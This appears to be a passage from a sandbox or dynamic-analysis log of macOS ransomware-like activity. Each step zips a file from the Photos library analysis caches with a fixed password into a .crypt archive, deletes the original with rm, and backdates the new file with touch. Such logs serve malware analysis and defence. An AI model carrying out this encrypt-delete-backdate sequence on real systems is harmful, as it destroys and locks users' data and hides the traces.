touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm.crypt"
2⤵
PID:740

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
2⤵
PID:741

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
2⤵
PID:742

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
2⤵
PID:742

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm.crypt"
2⤵
PID:743

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
2⤵
PID:744

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
2⤵
PID:745

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
2⤵
PID:745

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal.crypt"
2⤵
PID:746

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
2⤵
PID:747

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
2⤵
PID:748

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
2⤵
PID:748

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite.crypt"
2⤵
PID:749

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
2⤵
PID:750

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
2⤵
PID:751

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
2⤵
PID:751

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite.crypt"
2⤵
PID:752

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
2⤵
PID:753

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
2⤵
PID:754

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
2⤵
PID:754

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm.crypt"
2⤵
PID:755

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
2⤵
PID:756

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
2⤵
PID:757

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
2⤵
PID:757

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal.crypt"
2⤵
PID:758

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
2⤵
PID:759

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
2⤵
PID:760

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
2⤵
PID:760

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite.crypt"
2⤵
PID:761

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
2⤵
PID:762

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
2⤵
PID:763

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
2⤵
PID:763

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm.crypt"
2⤵
PID:764

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
2⤵
PID:765

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
2⤵
PID:766

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
2⤵
PID:766

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite.crypt"
2⤵
PID:767

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
2⤵
PID:768

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
2⤵
PID:769

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
2⤵
PID:769

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal.crypt"
2⤵
PID:770

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
2⤵
PID:771

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
2⤵
PID:772

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
2⤵
PID:772

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm.crypt"
2⤵
PID:773

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
2⤵
PID:774

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
2⤵
PID:775

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
2⤵
PID:775

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist.crypt"
2⤵
PID:776

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
2⤵
PID:777

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
2⤵
PID:778

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
2⤵
PID:778

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal.crypt"
2⤵
PID:779

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
2⤵
PID:780

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
2⤵
PID:781

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
2⤵
PID:781

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm.crypt"
2⤵
PID:782

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
2⤵
PID:783

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
2⤵
PID:784

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
2⤵
PID:784

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite.crypt"
2⤵
PID:785

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
2⤵
PID:786

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
2⤵
PID:787

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
2⤵
PID:787

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
2⤵
PID:788

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
2⤵
PID:789

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
2⤵
PID:789

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm.crypt"
2⤵
PID:790

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
2⤵
PID:791

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
2⤵
PID:792

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal"
2⤵
PID:792

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-wal.crypt"
2⤵
PID:793

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
2⤵
PID:794

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
2⤵
PID:795

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb"
2⤵
PID:795

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb.crypt"
2⤵
PID:796

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
2⤵
PID:797

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
2⤵
PID:798

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal"
2⤵
PID:798

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-wal.crypt"
2⤵
PID:799

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
2⤵
PID:800

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
2⤵
PID:801

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm"
2⤵
PID:801

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb-shm.crypt"
2⤵
PID:802

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
2⤵
PID:803

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
2⤵
PID:804

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb"
2⤵
PID:804

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb.crypt"
2⤵
PID:805

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
2⤵
PID:806

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
2⤵
PID:807

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm"
2⤵
PID:807

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-shm.crypt"
2⤵
PID:808

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
2⤵
PID:809

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
2⤵
PID:810

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb"
2⤵
PID:810

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph-tmp.kgdb.crypt"
2⤵
PID:811

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
2⤵
PID:812

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
2⤵
PID:813

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal"
2⤵
PID:813

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/photosgraph.kgdb-wal.crypt"
2⤵
PID:814

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
2⤵
PID:815

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
2⤵
PID:816

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal"
2⤵
PID:816

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-wal.crypt"
2⤵
PID:817

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
2⤵
PID:818

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
2⤵
PID:819

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist"
2⤵
PID:819

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotoAnalysisServicePreferences.plist.crypt"
2⤵
PID:820

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
2⤵
PID:821

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
2⤵
PID:822

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist"
2⤵
PID:822

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/revgeoprovider.plist.crypt"
2⤵
PID:823

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
2⤵
PID:824

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
2⤵
PID:825

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite"
2⤵
PID:825

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite.crypt"
2⤵
PID:826

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
2⤵
PID:827

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
2⤵
PID:828

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm"
2⤵
PID:828

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite-shm.crypt"
2⤵
PID:829

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
2⤵
PID:830

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
2⤵
PID:831

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision"
2⤵
PID:831

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
2⤵
PID:832

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
2⤵
PID:833

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist"
2⤵
PID:833

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/clustererState.plist.crypt"
2⤵
PID:834

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
2⤵
PID:835

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
2⤵
PID:836

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/vision/faceWorkerState.plist"
2⤵
PID:836

